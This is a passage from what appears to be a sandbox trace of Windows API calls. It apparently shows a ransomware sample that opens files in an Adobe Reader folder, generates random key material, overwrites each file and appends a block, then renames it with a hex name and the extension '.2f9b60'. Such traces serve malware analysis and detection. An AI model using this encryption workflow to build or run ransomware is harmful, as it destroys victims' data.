10.0\\Reader\\Tracker\\7046c8740d32fa99.2f9b60", NtPathName=0x3ceaf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7046c8740d32fa99.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x430fe720 Thread: id = 3915 os_tid = 0x2178 [0230.006] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif")) returned 0x20 [0230.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif", dwFileAttributes=0x20) returned 1 [0231.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3388 [0231.051] GetFileSizeEx (in: hFile=0x3388, lpFileSize=0x3c90fa20 | out: lpFileSize=0x3c90fa20*=814) returned 1 [0231.051] SetFilePointerEx (in: hFile=0x3388, liDistanceToMove=0x32a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.051] ReadFile (in: hFile=0x3388, lpBuffer=0x3c90f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c90f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3c90f9a0*, lpNumberOfBytesRead=0x3c90f9e8*=0x4, lpOverlapped=0x0) returned 1 [0231.075] SetFilePointerEx (in: hFile=0x3388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0231.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610b0 [0231.076] NtQuerySystemTime (in: CurrentTime=0x3c90f8e0 | out: CurrentTime=0x3c90f8e0*=132462178350682000) returned 0x0 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x724dbc95 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x3815a0d1 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x621400c2 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x5bfbe2d5 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x560c393e [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x25cfb639 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x65c13fcf [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x7ffe1d3e [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x5fd504e2 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0xaaaa92a [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x18b51adb [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x6f729ae7 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x21653651 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x3a58d1c6 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x17cb2460 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0xf0b96a2 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x4285e182 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x7b705466 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x5d291662 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x3e11e34e [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x1632679b [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x6a56bb79 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x52cf69da [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x7384e523 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x7b5f8d0d [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x29a3e005 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x5c4bd7d7 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x1c106ec9 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x6772b1e [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x2af574d4 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x6841fd88 [0231.076] RtlRandomEx (in: Seed=0x3c90f8d0 | out: Seed=0x3c90f8d0) returned 0x5e6145da [0231.083] ReadFile (in: hFile=0x3388, lpBuffer=0x420f01c0, nNumberOfBytesToRead=0x32e, lpNumberOfBytesRead=0x3c90f8d0, lpOverlapped=0x0 | out: lpBuffer=0x420f01c0*, lpNumberOfBytesRead=0x3c90f8d0*=0x32e, lpOverlapped=0x0) returned 1 [0231.083] SetFilePointerEx (in: hFile=0x3388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.083] WriteFile (in: hFile=0x3388, lpBuffer=0x420c6d10*, nNumberOfBytesToWrite=0x32e, lpNumberOfBytesWritten=0x3c90f8d4, lpOverlapped=0x0 | out: lpBuffer=0x420c6d10*, lpNumberOfBytesWritten=0x3c90f8d4*=0x32e, lpOverlapped=0x0) returned 1 [0239.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0239.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffcc0 [0239.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcc0) returned 1 [0239.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420c6d10) returned 1 [0239.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f01c0) returned 1 [0239.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0239.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0239.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ad020 [0239.373] SetFilePointerEx (in: hFile=0x3388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.373] WriteFile (in: hFile=0x3388, lpBuffer=0x42c15050*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3c90f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42c15050*, lpNumberOfBytesWritten=0x3c90f9f0*=0x114, lpOverlapped=0x0) returned 1 [0242.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61d30 [0242.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0242.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec20 [0242.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec20) returned 1 [0242.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x2050ec20 [0242.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e740 [0242.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6b0 [0242.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e6b0) returned 1 [0242.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0242.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0242.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61d30 [0242.356] sprintf (in: _Dest=0x1ce61d30, _Format="%c%c" | out: _Dest="b8") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d32, _Format="%c%c" | out: _Dest="6f") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d34, _Format="%c%c" | out: _Dest="ad") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d36, _Format="%c%c" | out: _Dest="db") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d38, _Format="%c%c" | out: _Dest="31") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d3a, _Format="%c%c" | out: _Dest="43") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d3c, _Format="%c%c" | out: _Dest="89") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d3e, _Format="%c%c" | out: _Dest="1f") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d40, _Format="%c%c" | out: _Dest="44") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d42, _Format="%c%c" | out: _Dest="8c") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d44, _Format="%c%c" | out: _Dest="d2") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d46, _Format="%c%c" | out: _Dest="05") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d48, _Format="%c%c" | out: _Dest="38") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d4a, _Format="%c%c" | out: _Dest="f2") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d4c, _Format="%c%c" | out: _Dest="8f") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d4e, _Format="%c%c" | out: _Dest="ca") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d50, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d52, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d54, _Format="%c%c" | out: _Dest="12") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d56, _Format="%c%c" | out: _Dest="cf") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d58, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d5a, _Format="%c%c" | out: _Dest="39") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d5c, _Format="%c%c" | out: _Dest="4d") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d5e, _Format="%c%c" | out: _Dest="c1") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d60, _Format="%c%c" | out: _Dest="24") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d62, _Format="%c%c" | out: _Dest="7c") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d64, _Format="%c%c" | out: _Dest="3f") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d66, _Format="%c%c" | out: _Dest="78") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d68, _Format="%c%c" | out: _Dest="1d") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d6a, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d6c, _Format="%c%c" | out: _Dest="4f") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d6e, _Format="%c%c" | out: _Dest="ba") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d70, _Format="%c%c" | out: _Dest="45") returned 2 [0242.356] sprintf (in: _Dest=0x1ce61d72, _Format="%c%c" | out: _Dest="59") returned 2 [0242.357] RtlInitAnsiString (in: DestinationString=0x3c90fa68, SourceString="b86faddb3143891f448cd20538f28fcaf5a612cf6c394dc1247c3f781dfa4fba4559" | out: DestinationString="b86faddb3143891f448cd20538f28fcaf5a612cf6c394dc1247c3f781dfa4fba4559") [0242.357] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c90fa38, SourceString="b86faddb3143891f448cd20538f28fcaf5a612cf6c394dc1247c3f781dfa4fba4559", AllocateDestinationString=1 | out: DestinationString="b86faddb3143891f448cd20538f28fcaf5a612cf6c394dc1247c3f781dfa4fba4559") returned 0x0 [0242.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4230edc0 [0242.357] wcscat (in: _Dest=0x1cec0080, _Source="b86faddb3143891f4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4" [0242.357] wcscat (in: _Dest=0x1cec0080, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4.2f9b60" [0242.358] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4.2f9b60", NtPathName=0x3c90fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\b86faddb3143891f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x430fdb70 Thread: id = 3916 os_tid = 0x225c [0230.007] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif")) returned 0x20 [0230.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif", dwFileAttributes=0x20) returned 1 [0231.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x256c [0231.289] GetFileSizeEx (in: hFile=0x256c, lpFileSize=0x3d0cfb00 | out: lpFileSize=0x3d0cfb00*=1151) returned 1 [0231.289] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x47b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.289] ReadFile (in: hFile=0x256c, lpBuffer=0x3d0cfa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d0cfac8, lpOverlapped=0x0 | out: lpBuffer=0x3d0cfa80*, lpNumberOfBytesRead=0x3d0cfac8*=0x4, lpOverlapped=0x0) returned 1 [0231.302] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0231.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f00 [0231.303] NtQuerySystemTime (in: CurrentTime=0x3d0cf9c0 | out: CurrentTime=0x3d0cf9c0*=132462178353022000) returned 0x0 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x47556192 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0xf2aff3a [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x4c349d76 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x62fa6d3f [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x6efa0dad [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x6352fb4 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x690a3864 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x149b98db [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x58ed45d9 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x2f135b52 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x6a604759 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x37e1c77b [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x75cbc5fd [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x7ab4e773 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x56e43daa [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x358dfb46 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x13afb45b [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x37a6e81c [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x294dc9e6 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x56d4ed5a [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x1aa213db [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x1da5515b [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x6f7e065b [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0xd0f405b [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x19fb0c4d [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x7c8d9ca0 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x368ed9b2 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x53afb73 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x7be0aa2 [0231.303] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x6bd1fae3 [0231.304] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x29f4b138 [0231.304] RtlRandomEx (in: Seed=0x3d0cf9b0 | out: Seed=0x3d0cf9b0) returned 0x2d4a7d3d [0231.310] ReadFile (in: hFile=0x256c, lpBuffer=0x41b7d170, nNumberOfBytesToRead=0x47f, lpNumberOfBytesRead=0x3d0cf9b0, lpOverlapped=0x0 | out: lpBuffer=0x41b7d170*, lpNumberOfBytesRead=0x3d0cf9b0*=0x47f, lpOverlapped=0x0) returned 1 [0231.310] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.310] WriteFile (in: hFile=0x256c, lpBuffer=0x41b62d00*, nNumberOfBytesToWrite=0x47f, lpNumberOfBytesWritten=0x3d0cf9b4, lpOverlapped=0x0 | out: lpBuffer=0x41b62d00*, lpNumberOfBytesWritten=0x3d0cf9b4*=0x47f, lpOverlapped=0x0) returned 1 [0234.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0234.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0234.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0234.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b62d00) returned 1 [0234.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b7d170) returned 1 [0234.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0234.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0234.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac7a0 [0234.145] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.145] WriteFile (in: hFile=0x256c, lpBuffer=0x431f0720*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3d0cfad0, lpOverlapped=0x0 | out: lpBuffer=0x431f0720*, lpNumberOfBytesWritten=0x3d0cfad0*=0x116, lpOverlapped=0x0) returned 1 [0236.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f30 [0236.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f30) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b860f30 [0236.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0236.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0236.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0236.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858cd0 [0236.239] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.239] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="39") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="47") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="1b") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.240] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.240] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="12") returned 2 [0236.240] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.240] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="50") returned 2 [0236.240] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="44") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="64") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="01") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="27") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="40") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="ee") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="40") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="02") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="23") returned 2 [0236.240] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="41") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="66") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="86") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="60") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="ec") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="05") returned 2 [0236.240] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.240] RtlInitAnsiString (in: DestinationString=0x3d0cfb48, SourceString="c73c39d9ed471ba4d912e3501a4464012740ee40022e2341d9663f86bd8c3c60feec057b" | out: DestinationString="c73c39d9ed471ba4d912e3501a4464012740ee40022e2341d9663f86bd8c3c60feec057b") [0236.241] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d0cfb18, SourceString="c73c39d9ed471ba4d912e3501a4464012740ee40022e2341d9663f86bd8c3c60feec057b", AllocateDestinationString=1 | out: DestinationString="c73c39d9ed471ba4d912e3501a4464012740ee40022e2341d9663f86bd8c3c60feec057b") returned 0x0 [0236.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205059b0 [0236.241] wcscat (in: _Dest=0x431f6610, _Source="c73c39d9ed471ba4d9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9" [0236.241] wcscat (in: _Dest=0x431f6610, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 